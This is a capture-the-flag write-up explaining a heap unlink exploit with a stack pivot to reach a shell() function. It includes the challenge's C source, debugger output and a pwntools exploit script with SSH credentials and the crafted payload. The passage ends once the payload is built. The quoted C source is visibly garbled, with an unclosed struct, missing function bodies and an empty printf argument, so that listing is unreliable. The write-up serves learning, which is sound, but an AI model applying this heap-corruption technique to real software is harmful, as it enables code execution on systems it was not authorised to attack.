- unlink

March 26 2017

This was a great challenge, as I got to actually do some heap unlink exploitation after reading the great paper Once upon a free.

SSHing into the box, the first thing I do is dump the source code.

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

typedef struct tagOBJ{ 
 struct tagOBJ* fd; 
 struct tagOBJ* bk; 
 char buf[8]; 

void shell(){ 

void unlink(OBJ* P){ 
 OBJ* BK; 
 OBJ* FD; 
int main(int argc, char* argv[]){ 
 OBJ* A = (OBJ*)malloc(sizeof(OBJ)); 
 OBJ* B = (OBJ*)malloc(sizeof(OBJ)); 
 OBJ* C = (OBJ*)malloc(sizeof(OBJ)); 

 // double linked list: A <-> B <-> C 
 A->fd = B; 
 B->bk = A; 
 B->fd = C; 
 C->bk = B; 

 printf("here is stack address leak: %p\n", ); 
 printf("here is heap address leak: %p\n", A); 
 printf("now that you have leaks, get shell!\n"); 
 // heap overflow! 

 // exploit this unlink! 
 return 0; 

So three objects are malloced on the heap, and the the first enables a heap overflow, allowing me to write data into the header of object two.

Object two lastly is unlinked from the linked list that is created, which is exactly how malloc free() works in practice - with free chunks in a linked list.

So I can overwrite the header for object B and make it think that A is unused. Then when we unlink B, A has the unlink macro run on it and we get a write what where primitive.

The address stored in B's bk will be written with B's fd, and the address + 4 stored in B's fd will be written with B's bk

The heap layout of the chunks looks as follows.

[ prev size ][ size ][ [prev size] [size] [fd] [rev]  ] | [ prev size ][ size ][ user data ]

To know what to write where, we need to leverage the heap and stack leak we are given.

The following is the end of the main function of the binary.

0x80485ff <main+208> mov ecx, dword ptr [ebp - 4] <0xf77635a0> 
0x8048602 <main+211> leave 
0x8048603 <main+212> lea esp, dword ptr [ecx - 4] 
0x8048606 <main+215> ret

The value stored at ebp-4 is moved into ecx, which is then loaded into esp before the return - giving us a stack migration.

So we need to get our pointer to shell() which we can write in the heap in here...

pwndbg> distance 0xffa818e4 $ebp-4 
0xffa818e4->0xffa818f4 is 0x10 bytes (0x4 words)

So 16 bytes from our stack leak is the location that the address of the heap needs to be written.

We need to load heap leak + 8 (to adjust over to the buffer) + 4 (because the program code takes 4 away from the number) - this gets loaded into ebp-4 so that there is a stack migration to the start of the buffer in the heap.

When we ret, the address we ret to will be the one at the top of the heap where the stack was migrated to - so we can just put the address of shell() here!

The ebp-4 address gets loaded into the fd pointer field of B after the write, but who cares.

The following is the full exploit which performs the unlink exploit and shells.

from pwn import * 

con = ssh(host='', user='unlink', password='guest', port=2222) 
p = con.process('./unlink') 

p.recvuntil('here is stack address leak: ') 
s_addr = int(p.recvline().strip(), 16) 
log.success('stack leak: %x' % s_addr) 

p.recvuntil('here is heap address leak: ') 
a_addr = int(p.recvline().strip(), 16) 
log.success('heap leak: %x' % a_addr) 


shell_addr = 0x080484eb 

payload = p32(shell_addr) \ 
 + 'A' * 8 \ 
 + 'B' * 4 \ 
 + p32(a_addr + 12) \ 
 + p32(s_addr + 0x10)